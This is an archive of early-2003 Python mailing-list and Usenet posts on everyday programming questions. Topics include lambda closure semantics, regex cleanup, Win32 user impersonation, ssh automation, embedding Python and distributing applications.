Message-ID: <XZjY9.12895$5K5.1015875@news20.bellglobal.com>

"Robin Munn" <rmunn at pobox.com> wrote in message
news:slrnb32738.5jj.rmunn at localhost.localdomain...
[snip]
> So for the example you quoted:
>
>     print 'Search complete (%d match%s
found)'%(matches,(matches==1?'':'es'))
>
> the "a and b or c" trick won't work, since an empty string is considered
> false. You would need to invert the test. Instead of:
>
>     (matches==1) and '' or 'es'
>
> use:
>
>     (matches!=1) and 'es' or ''
>
> This will work properly.

Or, from the "Python Cookbook":
    (matches == 1 and [''] or ['es'])[0]
or
    ('', 'es')[matches != 1]
or, for plurals in particular,
    's'*(matches != 1)






From wehbrink at web.de  Tue Jan 21 04:58:14 2003
From: wehbrink at web.de (Mario Wehbrink)
Date: 21 Jan 2003 11:58:14 +0200
Subject: max() of a list of tuples
Message-ID: <3e2d27c6$1_1@news.uni-bielefeld.de>

Hi,

i have a list of tuples that look like:
[(1,3,5), (8,16,2), (2,56,4)]

what i am interested, in is the tuple with the greatest value in pos 3.
So in this case it would be (1,3,5). Is there a way to tell
max(mylistoftuples) to only look at the last position of the tuples?


Mario

-- 
http://www.porcupinetree.com



From pedronis at bluewin.ch  Fri Jan 10 17:22:15 2003
From: pedronis at bluewin.ch (Samuele Pedroni)
Date: Fri, 10 Jan 2003 23:22:15 +0100
Subject: [Python-Dev] [ann] Minimal Python project
References: <GCEDKONBLEFPPADDJCOEIEHPHEAA.whisper@oz.net>
Message-ID: <09c201c2b8f6$bb293220$6d94fea9@newmexico>

I don't to exactly what they are aiming for.

But in general

minimal C runtime != minimal footprint

in particular if high performance is a goal, the opposite may well be the case.

regards.





From lakeofburningfire at kyle.orgdon'tspamme  Fri Jan 24 17:29:34 2003
From: lakeofburningfire at kyle.orgdon'tspamme (Kyle Yancey)
Date: Fri, 24 Jan 2003 22:29:34 GMT
Subject: Life cycle of a mod_python application and scope of global variables
References: <gmv23v0636f5lnod5efh7emoi4uao9275o@4ax.com>
Message-ID: <50f33vofevm3og4bp1ji85atd22bqduv11@4ax.com>

Okay.  Now I feel silly.  It doesn't seem to work.  I tested the
following script, and I got an error.

#!/usr/bin/env python
from mod_python import apache
i = 1
def handler(req):
   req.content_type = "text/html" 
   req.send_http_header()
   if i:
       req.write("Hello World!")
   i = 0
   return apache.OK

The error was local variable referenced before assignment.
The faq says that this should display the behavior I described.
http://www.modpython.org/FAQ/faqw.py?req=show&file=faq03.005.htp
I hope I haven't wasted anyones time.  Apologies if I made a mistake.
This is my first usenet post.



From bokr at oz.net  Sun Jan  5 14:09:20 2003
From: bokr at oz.net (Bengt Richter)
Date: 5 Jan 2003 19:09:20 GMT
Subject: lambda semantics in for loop
References: <280e901b.0301050436.b4e501d@posting.google.com>
Message-ID: <av9vt0$q1m$0@216.39.172.122>

On 5 Jan 2003 04:36:39 -0800, henk at empanda.net (Henk Punt) wrote:

>Hi,
>
>When I have the following bit of python code:
>
>>>> l = []
>>>> for i in range(10):
>...     l.append(lambda x: x + i)
>
>I would expect:
>
>l[0](0) = 0
>l[1](0) = 1
>
>l[0](1) = 1
>l[1](1) = 2
>
>etc.
>
>instead
>
>l[0](0) = 9
>l[1](0) = 9
>
>l[0](1) = 10
>l[1](1) = 10
>
>It seems that the 'i' in the lambda binds to the last value of i in the
>for loop.
>Is this because 'i' is really a pointer and not the value of 'i' itself?.
>Please enlighten me!,
>
>How do I modify the example so that I would get my expected semantics.
>Should I copy 'i' to force the creation of a new object?, If so how would
>this work in the case where i is a string. I've tried to coerce python
>into making a deepcopy of a string so that id(s) != id(copy(s)) but I've
>not been able to do that also.
Martin has explained. I just would add that you have tools to peek at what
code is being created:

 >>> l = []
 >>> for i in range(10):
 ...     l.append(lambda x: x + i)
 ...
 >>> import dis
 >>> dis.dis(l[0])
           0 SET_LINENO               2
           3 LOAD_FAST                0 (x)
           6 LOAD_GLOBAL              1 (i)
           9 BINARY_ADD
          10 RETURN_VALUE
 >>> dis.dis(l[1])
           0 SET_LINENO               2
           3 LOAD_FAST                0 (x)
           6 LOAD_GLOBAL              1 (i)
           9 BINARY_ADD
          10 RETURN_VALUE
 >>> l[0](0)
 9
 >>> i=1000
 >>> l[0](0)
 1000

When you look at the code, the result is not so surprising.

Looking at Martin's default-value solution, you can see why it works:

 >>> l = []
 >>> for i in range(10):
 ...     l.append(lambda x, i = i: x + i)
 ...
 >>> l[0](0)
 0
 >>> l[1](0)
 1
 >>> dis.dis(l[1])
           0 SET_LINENO               2
           3 LOAD_FAST                0 (x)
           6 LOAD_FAST                1 (i)
           9 BINARY_ADD
          10 RETURN_VALUE
 
So what is the difference between LOAD_FAST (x) vs (i)?
The second is a default value, which you can determine
by looking at the list of defaults

 >>> l[1].func_defaults
 (1,)
 >>> l[0].func_defaults
 (0,)
 >>> l[2].func_defaults
 (2,)

and matching the list backards from the tail of the list of arguments,
of which there are two here:

 >>> l[2].func_code.co_argcount
 2

 >>> l[2].func_code.co_varnames
 ('x', 'i')

Which you read from the front of the list of varnames (here they're all args),
so you can now connect 'i' to its default value.

You could also have used a lambda to create another lambda with a closure containing
the value you wanted to capture:

 >>> l = []
 >>> for i in range(10):
 ...     l.append((lambda i: lambda x: x + i)(i))
 ...
 >>> l[0](0)
 0
 >>> l[1](0)
 1
 >>> l[2](0)
 2
 >>> dis.dis(l[2])
           0 SET_LINENO               2
           3 LOAD_FAST                0 (x)
           6 LOAD_DEREF               0 (i)
           9 BINARY_ADD
          10 RETURN_VALUE

No defaults this time:
 >>> l[2].func_defaults

Only the one arg:
 >>> l[2].func_code.co_varnames
 ('x',)
 >>> l[2].func_code.co_argcount
 1

But that LOAD_DEREF is getting a value someplace:

 >>> l[2].func_closure
 (<cell at 0x00855B60: int object at 0x00795988>,)

Knowing that small ints are shared, we can veriyfy what int
is encapsulated (I don't know off hand how to get the value out of
the cell)

 >>> hex(id(2))
 '0x795988'

AS expected.

Regards,
Bengt Richter



From tlavoie at acm.org  Tue Jan 28 17:00:48 2003
From: tlavoie at acm.org (Tim Lavoie)
Date: 28 Jan 2003 16:00:48 -0600
Subject: Browser front-end, python back-end
References: <fd5aa35c.0301280922.a952dc7@posting.google.com> <slrnb3dg7u.lr.lee@bad-bart.lcp.nrl.navy.mil> <b16jlp$fii$1@newsmaster.cc.columbia.edu> <877kcp6kp3.fsf@theasylum.dyndns.org> <mJycne7YFOFYaqujXTWcpw@comcast.com>
Message-ID: <87u1ft53zj.fsf@theasylum.dyndns.org>

>>>>> "Terry" == Terry Reedy <tjreedy at udel.edu> writes:

    Terry> I have played several (turn-based) games (over the Intenet)
    Terry> that use a browser as a front end and I think it is a
    Terry> WRETCHED interface for the purpose.  With every move, the
    Terry> game board has to be download again.  The screen blinks,
    Terry> and the scroll bar jumps back up to the top.  I mostly
    Terry> quite playing them because they give me headaches.  Ugh.

Heh. I know what you mean. A web interface is nice for cases where the
location of the user is indeterminate, or the back end is, or as a
lowest-common-denominator. So, it works for Zope since the server
could be anywhere, and the CUPS printer-admin interface, since the
printers could be anywhere.

By the same token, the reasons you mention are precisely why I loathe
HTML-driven chat systems, when at the least, a Java applet is less
painful as a client. A decent local client is better yet, but not
always an option.

-- 
I finally went to the eye doctor.  I got contacts.  I only need them to
read, so I got flip-ups.
                -- Steven Wright



From emile at fenx.com  Wed Jan  8 09:24:00 2003
From: emile at fenx.com (Emile van Sebille)
Date: Wed, 8 Jan 2003 06:24:00 -0800
Subject: Python vs .Net (
References: <YpxG+kKkXUzH092yn@gnosis.cx> <001201c2b6f0$22cad680$0100a8c0@bidi>
Message-ID: <avhc86$5hd$1@main.gmane.org>

Serdar Kilic:
> It would be quite difficult to "sue MONO"

The merits in law of the potential suit haven't commonly won out over
the merits in the marketplace.  Hell, they're a convicted monopolist --
they know well where the merits of a suit lie.


--

Emile van Sebille
emile at fenx.com

---------






From mlh at vier.idi.ntnu.no  Mon Jan 20 15:42:42 2003
From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland)
Date: Mon, 20 Jan 2003 20:42:42 +0000 (UTC)
Subject: String methods understanding anything but ASCII?
References: <slrnb2m4mv.sq2.mlh@furu.idi.ntnu.no>  <b0f9k4$n7v$00$1@news.t-online.com>
Message-ID: <slrnb2onq2.2ai.mlh@vier.idi.ntnu.no>

In article <b0f9k4$n7v$00$1 at news.t-online.com>, Martin v. L?wis wrote:
>Magnus Lie Hetland wrote:
>> I just wondered -- is there hope that string methods such as upper()
>> or capitalize() will ever understand anything other than ascii? 
>
>They already do that, after you invoke locale.setlocale:
>
> >>> import locale
> >>> locale.setlocale(locale.LC_ALL,"")
>'German_Germany.1252'
> >>> print "?".upper()
>?

Right. Handy. :)

> For purposes of conversion to Unicode, 
>the "system default encoding" is also "ascii", unless overridden by the 
>administrator.

Ah. That's where I failed in my experiments, I guess -- I tried to use
unicode('?'), but that, of course, tried to use 'ascii'. (u'?',
though, uses 'iso8859-1', since that is what my c library uses, I
suppose.)

[snip]
>As Irmen explains, you really should use Unicode strings for that - they 
>support uppercasing for all languages of the world, simultaneously.

Yes. Wonderful -- this sort of thing is what Unicode is all about, I
suppose. ;)

[snip]

- Magnus

-- 
Magnus Lie Hetland
http://hetland.org



From gerhard.haering at opus-gmbh.net  Tue Jan 28 09:27:43 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 28 Jan 2003 14:27:43 GMT
Subject: Please Recommend a C compiler for use with Python.
References: <mailman.1043756390.23011.python-list@python.org>
Message-ID: <slrnb3d4og.1k4.gerhard.haering@haering.opus-gmbh.net>

Andrew MacIntyre <andymac at bullseye.apana.org.au> wrote:
> I've successfully used MingW32 (http://www.mingw.org/ IIRC) to build
> Python extensions [...]
> It can take some fiddling to get a usable Python import library, but
> google will find docco to help with that.

That was never a problem for me. The method described in the Python
documentation always worked just fine:

http://www.python.org/doc/current/inst/non-ms-compilers.html

-- Gerhard



From jwsacksteder at ramprecision.com  Wed Jan 22 22:13:04 2003
From: jwsacksteder at ramprecision.com (Jeff Sacksteder)
Date: Wed, 22 Jan 2003 22:13:04 -0500
Subject: stripping characters with regex
Message-ID: <71650A6F73F1D411BE8000805F65E3CB3B3006@SRV-03>

I need urgent assistance. I'm cleaning up text strings containing ' ,",\ and
/ characters which are giving an enormous headache.

I have a little function like this that doesn't do what I had in mind.

def clean_text(y):
	# match any number of occurrances of these four characters
	clean = re.compile('(\\|\'|\"|\/)')
	# replace them when found with nothing - effectively deleting them
	return clean.sub( '',y)

Suggestions welcome, example code cheerfully accepted!




From Mongryong at sympatico.ca  Tue Jan 28 16:09:04 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 28 Jan 2003 16:09:04 -0500
Subject: Which exception to use?
In-Reply-To: <200301282043.MAA08755@mail.arc.nasa.gov>
References: <b16lui$j3s$1@bob.news.rcn.net> 
	<200301282043.MAA08755@mail.arc.nasa.gov>
Message-ID: <1043788144.6329.60.camel@refugeeMedia>

For 'library API', it's probably not a good idea to be checking the
length of 'sys.argv'.  If you really need to check the length of 'some
tuple' parameter, you might be better to use 'assert' instead.  

An exception should be used for cases where an 'expected' or 'undefine'
runtime error occurs.  ie. Network connection failure.

Assertions should be used for dumb programmer errors that would be
trace-able through testing.

ie.
assert len(sometuple) == FIXED_SIZE, "Invalid paramter..tuple most be
this size..."







From heiler at nospm-uni-mannheim.de  Tue Jan 14 08:33:38 2003
From: heiler at nospm-uni-mannheim.de (Matthias Heiler)
Date: Tue, 14 Jan 2003 14:33:38 +0100
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <m2adi7ull8.fsf@mycroft.actrix.gen.nz> <OASU9.131402$Hs2.11990469@kent.svc.tds.net> <7xbs2k3pwp.fsf@ruckus.brouhaha.com>
Message-ID: <b013j9$gm0$1@trumpet.uni-mannheim.de>

Hello,

Paul Rubin wrote:
> In fact some Lisp systems have been shown to produce compiled code
> that runs as fast as compiled C code.  I don't see that Python needs
> to be different.

A free example ist CMUCL [1], which produces excellent code if provided with 
enough type information (which is optional in common lisp).  Maybe it's 
interesting for the Minimal-Python-Crew to look at. 

Along this line, there's an article from Richard P. Gabriel on how a "next 
lisp" should look like [2].  At least superfiscially, Richard's ideas sound 
similar to some stated in this thread.  

Lisp has a looong history and finally managed to combine efficient 
compilation with a highly dynamic programming model.  Building on some of 
lisp's experience may help steer Minimal-Python (or whatever will be its 
name) in the right direction.

Best wishes,

 Matthias

[1] http://www.cons.org/cmucl/
[2] http://www.ai.mit.edu/docs/articles/good-news/subsection3.3.6.html



From bokr at oz.net  Thu Jan  2 08:52:07 2003
From: bokr at oz.net (Bengt Richter)
Date: 2 Jan 2003 13:52:07 GMT
Subject: Simple encryption proposal. Comments ?
References: <BOMP9.5093$CG6.90311@news4.e.nsc.no> <mailman.1041211955.22409.python-list@python.org> <aZYP9.5185$CG6.93090@news4.e.nsc.no> <7xptrj8rr5.fsf@ruckus.brouhaha.com> <aurvdu$sqe$0@216.39.172.122> <8a6ba1da.0301020356.7916bc80@posting.google.com> <7xbs2zrbdf.fsf@ruckus.brouhaha.com>
Message-ID: <av1g67$b3l$0@216.39.172.122>

On 02 Jan 2003 04:21:00 -0800, Paul Rubin <phr-n2002b at NOSPAMnightsong.com> wrote:

>richie at entrian.com (Richie Hindle) writes:
>> Is your base52 code (or *any* such code) available anywhere?  Googling for
>> "python base52" didn't turn anything up.
>
>Here's one I threw together:
>
># ==== base52.py =======================================================
[ .. code snipped ...]

># _test2()    # depends on secrand.py module, not included
                                               ^^^^^^^^^^^^

We seem to a chain going ;-) Google doesn't ... Um, where might one ...



Thanks for posting, mine was in C++ and not so pretty (though fast enough ;-)

BTW, (untested)

    k1, k2, k3 = map(_inv_letters.__getitem__, x[i:i+3])

might be an interesting alternative to the list comprehension?

Regards,
Bengt Richter



From mertz at gnosis.cx  Wed Jan  8 16:21:13 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Wed, 08 Jan 2003 16:21:13 -0500
Subject: Python Script that Impersonates Emails
References: <8F_S9.3165$IC6.162153@news20.bellglobal.com>
Message-ID: <JZJH+kKkXQ+R092yn@gnosis.cx>         

Michael <dialectics-unlimited at sympatico.ca> wrote previously:
|This is somewhat of an odd question.  I came across a script ages ago,
|written in python, that reads usenet groups, "learns" to impersonate how
|people post, and then posts a pretty convincing email to the usenet
|group.  I totally forget what it was called, and am having no luck
|finding it on google.  Any one out there know what I am talking about?

What you probably want to look at is something like the Dada Engine:

    http://dev.null.org/dadaengine/

Which is used for the famous Postmodern Essay Generator, as well as
other things.  This uses a technique called "recursive transition
networks"--which seems to amount to about the same thing as Markov
Chains, but since the name is different, probably there is some math
difference too.

Yours, Lulu...

--
---[ to our friends at TLAs (spread the word) ]--------------------------
Echelon North Korea Nazi cracking spy smuggle Columbia fissionable Stego
White Water strategic Clinton Delta Force militia TEMPEST Libya Mossad
---[ Postmodern Enterprises <mertz at gnosis.cx> ]--------------------------





From dglenn at charter.net  Thu Jan 16 17:13:48 2003
From: dglenn at charter.net (Doug Glenn)
Date: Thu, 16 Jan 2003 17:13:48 -0500
Subject: Warning! Newbie issue - Impersonating a user on Win32
In-Reply-To: <3e2650f8_5@corp-goliath.newsgroups.com>
References: <mailman.1042650398.19724.python-list@python.org> <3e2650f8_5@corp-goliath.newsgroups.com>
Message-ID: <200301161713.48918.dglenn@charter.net>

I redid this script to try and adjust privileges as outlined by Roger. 
No luck.  This now includes the ones I have tried, the ones that 
outright failed, and those that just gave me another error.

I would like to know those who do have this type of script running. I 
would like to see a dump of secpol.msc on the user security privilege 
section so I can possibly track down what the differences are.

Also, what version of Python and Pythonwin libraries you are using.

Here is the newer script and information:
<begin sudo.py>
# file to switch users in Windows 2000
# -------------------
import sys
import win32security
import win32con
import win32api
from ntsecuritycon import *

program="sadmin.exe"
#domain=os.getenv('COMPUTERNAME')
domain=None
fail=[]

def AdjustPrivilege(priv, enable = 1):
    # Get the process token.
    flags = TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY
    #flags= TOKEN_QUERY
    htoken =  win32security.OpenProcessToken \\
		  (win32api.GetCurrentProcess(), flags)
    # Get the ID for the privilege.
    id = win32security.LookupPrivilegeValue(None, priv)
    # Now obtain the privilege for this process.
    # Create a list of the privileges to be added.    
    if enable:
        newPrivileges = [(id, SE_PRIVILEGE_ENABLED)]
    else:
        newPrivileges = [(id, 0)]
    # and make the adjustment.
    try:
        win32security.AdjustTokenPrivileges(htoken, 0, newPrivileges)
    except:
        fail.append(priv)


class Impersonate:

    def __init__(self, login, password):
        self.domain=domain
        self.login=login
        self.password=password
    def logon(self):
        self.handel=win32security.LogonUser(self.login,None,
        self.password,win32con.LOGON32_LOGON_INTERACTIVE, \\
        win32con.LOGON32_PROVIDER_DEFAULT)
        win32security.ImpersonateLoggedOnUser(self.handel)
    def logoff(self):
        win32security.RevertToSelf() #terminates impersonation
        self.handel.Close() #guarantees cleanup


if __name__ =='__main__':

    #Exception: pywintypes.api_error (1314, 'LogonUser', 'A required 
privilege is not held by the client.')
    # all of these return None, but the error persists.
    AdjustPrivilege(SE_CHANGE_NOTIFY_NAME)
    AdjustPrivilege(SE_SYSTEM_PROFILE_NAME)
    AdjustPrivilege(SE_DEBUG_NAME)
    AdjustPrivilege(SE_SHUTDOWN_NAME)
    AdjustPrivilege(SE_SECURITY_NAME)
    AdjustPrivilege(SE_PROF_SINGLE_PROCESS_NAME)
    AdjustPrivilege(SE_REMOTE_SHUTDOWN_NAME)
    AdjustPrivilege(SE_TAKE_OWNERSHIP_NAME)
    AdjustPrivilege(SE_INC_BASE_PRIORITY_NAME)    
    AdjustPrivilege(SE_SYSTEMTIME_NAME)
    AdjustPrivilege(SE_SYSTEM_ENVIRONMENT_NAME)
    AdjustPrivilege(SE_BACKUP_NAME)
    AdjustPrivilege(SE_RESTORE_NAME)
    AdjustPrivilege(SE_INCREASE_QUOTA_NAME)
    AdjustPrivilege(SE_INCREASE_QUOTA_NAME)
    AdjustPrivilege(SE_INC_BASE_PRIORITY_NAME)
    AdjustPrivilege(SE_CREATE_PAGEFILE_NAME)
    
    # These settings hit the 'fail' list from the try routine on the
    #AdjustPrivileges function.
    # ------------------------
    #AdjustPrivilege(SE_AUDIT_NAME)
    #AdjustPrivilege(SE_MACHINE_ACCOUNT_NAME)
    #AdjustPrivilege(SE_TCB_NAME)
    #AdjustPrivilege(SE_ASSIGNPRIMARYTOKEN_NAME)
    #AdjustPrivilege(SE_LOCK_MEMORY_NAME)
    
    # api_error: (1313, 'LookupPrivilegeValue', 'A specified privilege
    # does not exist.')
    # privileges generating the above error are:
    # -----------------------------------
    #AdjustPrivilege(SE_CREATE_PERMANENT_NAME)
    #AdjustPrivilege(SE_CREATE_TOKEN_NAME)
    #AdjustPrivilege(SE_UNSOLICITED_INPUT_NAME)
    
    a=Impersonate('desktop', 'help4u') 
        
    try:
        a.logon() #become the user
        b=AdjustPrivilege(SE_SYSTEM_PROFILE_NAME)
        
        try:
            #os.execvp(program)
            print win32api.GetUserName() #show you're someone else
        finally:
            a.logoff() #return to normal
    except:
            print 'Exception:',sys.exc_type , sys.exc_value
            print  #stops debugger with values still listed.



-----
Doug




From acid_til at yahoo.com  Thu Jan 30 13:29:19 2003
From: acid_til at yahoo.com (Luc)
Date: Thu, 30 Jan 2003 13:29:19 -0500
Subject: How can I pass command line arguments when python is embedded
 ???
In-Reply-To: <oprjtqmip6mb24ka@news>
References: <6Fc_9.4158$nD1.958914@news20.bellglobal.com> <oprjtp9hlmmb24ka@news> <oprjtqmip6mb24ka@news>
Message-ID: <N4e_9.4206$nD1.971566@news20.bellglobal.com>

Thanks a lot !!! That's exactly what I was looking for :) :) :) :)

Luc.

Werner Schiendl wrote:
> Hi,
> 
> sorry, I missed the "when python is embedded" because it was not visible 
> in the message overview.
> 
> To setup sys.argv, you use the function PySys_SetArgv after Py_Initialize.
> 
> See Modules/main.c in the Python Source distribution on how to do it.
> 
> best regards
> Werner
> 
> 
> On Thu, 30 Jan 2003 18:45:07 +0100, Werner Schiendl 
> <n17999924.temp.werner at neverbox.com> wrote:
> 
>> Hi,
>>
>> you find the command line parameters in sys.argv
>>
>> e. g.
>>
>> import sys
>>
>> for arg in sys.argv:
>> print arg
>>
>> The first item is the name of the script, the remainder are the 
>> parameters.
>>
>> hth
>> Werner
>>
>>
>> On Thu, 30 Jan 2003 11:51:32 -0500, Luc <acid_til at yahoo.com> wrote:
>>
>>> Hello fellow Python users :)
>>>
>>> Like the subject says, how can I do it ??? What I want to do is pass 
>>> a number to the python script file that is to be used to determined 
>>> when to load from a database.
>>>
>>> Thanks in advance for any help.
>>>
>>> Luc.
>>>
>>>
>>
>>
>>
> 
> 




From morden at shadows.net  Tue Jan 21 23:14:51 2003
From: morden at shadows.net (morden)
Date: Tue, 21 Jan 2003 20:14:51 -0800
Subject: Communication between two programs on unix
Message-ID: <b0kvs0$o59$1@bob.news.rcn.net>

I want to connect the standard output of the tkinter app to the stdin of 
the motif app to return results and connect stdout of motif app to the
input of the tkinter app. Is that doable? I suppose this is what 
os.popen will do. Right?

Scenario #1: I run my tkinter program with no flags and it
	popens motif app it should communicate with

Scenario #2: I connect to a remote system using 'cu' from uucp package
	and run a unix app there communicating to my tkinter app spawned
	with ~+ sequence in cu (that's what you use to run rz/sz over cu 
session, right?)

Scenario #3: I use ssh to get into a remote system and run a unix app 
there. I have the following question about this scenario: How would I 
connect input of the tkinter program to the output
of the motif app and vice versa in this case? Is there any way to tell 
ssh client to do this or I would have to modify my apps to have support 
for ssl/tls?




From andrew-pythonlist at puzzling.org  Wed Jan  8 08:07:40 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Thu, 9 Jan 2003 00:07:40 +1100
Subject: Remote access to ssh server
In-Reply-To: <ti6o1v8t7nm8c4rp2lgb8hak5c9mqfv7ll@4ax.com>
References: <ti6o1v8t7nm8c4rp2lgb8hak5c9mqfv7ll@4ax.com>
Message-ID: <20030108130740.GE10826@frobozz.local>

On Wed, Jan 08, 2003 at 01:35:18PM +0100, Yar3k wrote:
> Is there any possibility for Python script to remote connection with
> ssh server? I want to connect to remote server, execute some commands
> and logout. All should be done automaticly (like using ftp client
> which is the part of standard Python library).

Yes!

Twisted <http://twistedmatrix.com/> has python implementations of an ssh
client and server, and I believe it can do this.  It can also do other wacky
stuff like connection forwarding.  It's called "conch".

On the other hand, you should be able to do it pretty easily with the
standard OpenSSH client, so you might find it easier to simply call
os.system("ssh user at host some_command"), depending on what you're doing.

-Andrew.





From zypin at sympatico.ca  Sat Jan  4 20:06:49 2003
From: zypin at sympatico.ca (Norman Skrzypinski)
Date: Sat, 4 Jan 2003 20:06:49 -0500
Subject: Distributing Python apps
References: <GCEDKONBLEFPPADDJCOEIEDIHCAA.whisper@oz.net>
Message-ID: <011501c2b456$b9dab320$e31afea9@normskrz>

David LeBlanc wrote:
>
> In the end, it's up to you as to whether or not you want to take a lot
> longer to develop the same app in VB or C++ compared to the relatively
minor
> inconvenience of a slightly longer d/l time for your users. IMO, Python is
> the clear winner.

In the end, I request that you very capable Python experts give me a way to
give my customers a 750 KB app.

That's not too much to ask, I think.  It's been done, by every other major
software company.

Norm







From sismex01 at hebmex.com  Mon Jan 13 09:48:38 2003
From: sismex01 at hebmex.com (sismex01 at hebmex.com)
Date: Mon, 13 Jan 2003 08:48:38 -0600
Subject: Too Self Centered
Message-ID: <F7DB8D13DB61D511B6FF00B0D0F06233035F7D75@mail.hebmex.com>

> From: Andres Rosado [mailto:arosado at softhome.net]
> Sent: Friday, January 10, 2003 7:09 PM
> 
> On 09:21 PM 1/7/2003 -0500, the keyboard of 
> python-list-request at python.org 
> emitted:
> >     def __init__(self):
> >           f = open('test1','r')
> >           while f.readline()!=''
> >                 i += 1
> >           self.total = i
> >           f.close()
> 
> Or
> self.total = len[x for x in f.readlines() if x != '']
> 
> If you use list compression.
> --
> Andres Rosado

Or, it can be further reduced to:

  self.total = len([x for x in f if x])

since the expression (x != '') is equivalent to (x),
because an empty string is "False".  Another, if you're
using a python version >= 2.2, you can ommit the .readlines()
call, because files have __iter__ attributes, which are
automagically used by the for statement.


Also, you forgot len's parenthesis. :-)

-gustavo




From mwm at mired.org  Fri Jan 10 10:38:27 2003
From: mwm at mired.org (Mike Meyer)
Date: Fri, 10 Jan 2003 15:38:27 GMT
Subject: invoking multiple methods (Was: Python vs. Ruby)
References: <001501c2b1e4$dac88770$21795418@dell1700> <mailman.1041520444.17527.python-list@python.org> <7W%S9.13908$t06.405476@news2.east.cox.net> <3E1CD82B.3E67E420@alcyone.com> <x7heciuxhp.fsf_-_@guru.mired.org> <avkv6i$38k$0@216.39.172.122>
Message-ID: <x77kddt3pl.fsf@guru.mired.org>

bokr at oz.net (Bengt Richter) writes:

> On Thu, 09 Jan 2003 15:57:38 GMT, Mike Meyer <mwm at mired.org> wrote:
> >Erik Max Francis <max at alcyone.com> writes:
> >
> >> "Stuart D. Gathman" wrote:
> >> >   aList.sort();.reverse()       # aList.sort(); aList.reverse()
> >> > A statement cannot begin with '.', so ';.' means to invoke another
> >> > method
> >> > on the same object.
> >> But is this awkwardness really worth it?  One of Python's truly great
> >> assets is its transparently readable code.  I'm opposed on general
> >> principle to anything which defeats that.
> >
> >True. However, the idea of specifying multiple methods on the same
> >object is consistent with recent changes (op=, for instance), and
> >seems useful enough to be worth writing a PEP for - *if* a readable
> >syntax can be invented for it.
> >
> >I don't like ;.. I'm not sure I like the idea of tweaking the
> >semantics of statement at all. Maybe something like:
> >
> >        aList.(sort(), reverse())
> >
> >Almost like using a tuple as the method, and it does all the
> >invocations in the tuple. Except it isn't a real tuple, because the
> >methods aren't reall calls.
> 
> I'd rather reserve the xxx.(something) syntax for an alternate spelling
> of getattr(xxx, something), where something is an expression resulting in a string.

I think the multiple call shorthand is better than the getattr
shorthand. If I only get one, I want multiple calls. Or is there
already a PEP for the getattr shorthand?

> How about getting your parens without a dot, using __call__ and passing bound methods?

The whole point is to avoid having to list the bound object multiple
times, so no, that doesn't buy you anything.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From mcfletch at rogers.com  Mon Jan 20 10:10:04 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Mon, 20 Jan 2003 10:10:04 -0500
Subject: lots of similar classes?
In-Reply-To: <53ce2726.0301200637.611c2041@posting.google.com>
References: <53ce2726.0301200637.611c2041@posting.google.com>
Message-ID: <3E2C114C.9060908@rogers.com>

With Python 2.2.x, this will work:

class X(object):
    def __init__( self, name='blah', y=2,z=3,m=4):
        ...

class Y( X ):
    def __init__( self, name='haha', *args, **named ):
        super( Y, self).__init__( name, *args, **named )

The disadvantage is that automatic documentation systems (or you, 
reading the code) won't be able to immediately see what the arguments 
are for the initialiser (looking at Y, you can't see that it takes 
arguments 'y','z', and 'm'). That's possibly acceptable if you've got a 
large class of objects with equivalent semantics where your docs tell 
the user about them up-front.

Another 2.2.x approach is to use properties with defaults and automatic 
__init__ methods, so that your sub-classes merely define those 
properties they wish to override and the automatic initialiser takes 
care of everything else.  With this approach your automatic 
documentation systems will be able to document the arguments as 
properties, though the property names won't show up in your calltips or 
the like).

Enjoy,
Mike

boncelet wrote:

>I want to create lots of similar classes and wonder what's the
>best/most efficient way.
>
>Pseudo-code looks like this:
>
>class Super:
>  def __init__(self,name,lots_of_other_arguments):
>    self.name=name
>    <<set rest of arguments, etc>>
>
>class A(Super):
>  def __init__(self,name='a',lots_of_other_arguments):
>    Super.__init__(self,name,lots_of_other_arguments)
>
>There will be lots of these, eg., A, B, C etc. Most of these will
>differ only in the name argument.  In a few, I might want to use only
>a subset of the "other arguments".
>
>My problem is rewriting the "lot_of_other_arguments" over and over
>again seems wasteful, error-prone, and fragile.  Is there a better
>way?
>
>Thanks,
>  Charlie Boncelet <boncelet at udel.edu>
>  
>
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From clifford.wells at attbi.com  Thu Jan 16 01:35:24 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 15 Jan 2003 22:35:24 -0800
Subject: what's the matter with wxPython(Version 2.4.0), It doesn't
	work crrectly
In-Reply-To: <b61709d5.0301152142.16f32a48@posting.google.com>
References: <b61709d5.0301152142.16f32a48@posting.google.com>
Message-ID: <1042698924.3593.134.camel@x1-6-00-04-5a-64-c4-03>

On Wed, 2003-01-15 at 21:42, Baby wrote:
> I wrote a test program in wxPython.(The GUI Development  is Boa
> constructor ,
> version 0.20).I placed a wxButton on a wxFrame, and I produced a 
> wxEVT_COMMAND_BUTTON_CLICKED event . Just like this:
> 
>       def OnButton1Button(self, event):        
>         dlg = wxMessageDialog(self, 'Message',
>           'Caption', wxOK | wxICON_INFORMATION)
>         try:
>             dlg.ShowModal()
>         finally:
>             dlg.Destroy()        
>         event.Skip()
>    but when I click the button , the function is performed two times.
> I don't know what's matter with it. Who can help me, Thanks a lot.
> Sorry my poor English

Hey Baby <wink>,

Sorry, couldn't resist.

Can you post the code where you set up the event handler (i.e.
EVT_BUTTON(...)?  What you've posted here looks fine, so I expect the
problem is elsewhere.  Do you perhaps have a duplicate id for the
button?

Regards,



AAA, is the <wink> counterproductive by being ambiguous in this context?


-- 
Cliff Wells <clifford.wells at attbi.com>





From simon at rendermania.com  Fri Jan  3 16:18:24 2003
From: simon at rendermania.com (Simon Bunker)
Date: Fri, 3 Jan 2003 21:18:24 -0000
Subject: getting cross platform system information
Message-ID: <av4v3j$nhk$1@newsg1.svr.pol.co.uk>

Does anyone know how to get processor load, RAM usage and disk usage on
linux/unix and Windows?

Simon

--
